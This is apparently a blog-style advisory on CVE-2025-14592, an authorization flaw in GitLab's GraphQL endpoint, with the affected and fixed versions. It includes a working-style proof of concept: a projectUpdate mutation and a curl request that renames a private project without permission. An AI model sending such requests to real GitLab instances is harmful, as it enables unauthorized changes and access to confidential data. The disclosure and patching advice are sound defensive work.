GitLab, a leading DevOps platform, recently patched a critical security vulnerability tracked as CVE-2025-14592. This bug affected both Community Edition (CE) and Enterprise Edition (EE) across all versions from 18.6 before 18.6.6, 18.7 before 18.7.4, and 18.8 before 18.8.4. This article will break down what happened, how attackers might have exploited it, and why you should upgrade _now_.

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The Short Story

For a little while, GitLab users were at risk because of how the GraphQL API (called GLQL) handled certain requests. If you were an authenticated user, you could submit carefully crafted requests that let you do things you weren’t supposed to do – like change project settings or even access confidential data.

How Did it Happen?

GitLab’s GLQL endpoint didn’t properly check if users were allowed to execute certain mutations (mutation means “make a change” in GraphQL). So, if you found the right query, you could trick GitLab into carrying out unauthorized operations. All you needed was a regular account on the instance.

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Technical Details & Exploit Example

Let’s say you’re logged into a vulnerable GitLab version. You could abuse the GLQL endpoint (/api/graphql) with something like this:

# Save this as exploit.graphql
mutation {
  projectUpdate(input: {
    projectPath: "mygroup/myprivateproject",
    name: "HackedProject",
    description: "I changed this via CVE-2025-14592!"
  }) {
    project {
      id
      name
      description
    }
    errors
  }
}

You’d send this over HTTP, like so (using curl)

curl -k -X POST https://gitlab.example.com/api/graphql \
    -H "Authorization: Bearer YOUR_PERSONAL_ACCESS_TOKEN" \
    -H "Content-Type: application/json" \
    --data-binary '{"query": "mutation { projectUpdate(input: { projectPath: \"mygroup/myprivateproject\", name: \"HackedProject\", description: \"I changed this via CVE-2025-14592!\" }) { project { id name description } errors } }"}'

If GitLab was not patched, this could rename a project even though your account did not have permission to do so!

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Data Leakage: Possibility of accessing or modifying confidential data.

- Hard to Detect: Exploits happen over legitimate API traffic, so even diligent admins could miss it.

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18.8: Upgrade to 18.8.4 or later

If you’re running anything older, you must upgrade immediately.

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Official GitLab Advisory:

GitLab 18.8.4, 18.7.4, 18.6.6 Security Release

CVE Record:

NVD CVE-2025-14592

GitLab GLQL API Docs:

GraphQL API Reference

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Conclusion

CVE-2025-14592 is a textbook case of how fast-moving platforms like GitLab can have major loopholes, even in “protected” APIs. It serves as a reminder:

Limit unnecessary access, even for authenticated users

If you run GitLab, patch now. If not, remember: any system can have hidden doors—always watch for security updates.

Timeline

Published on: 02/11/2026 11:34:01 UTC
Last modified on: 02/11/2026 15:27:26 UTC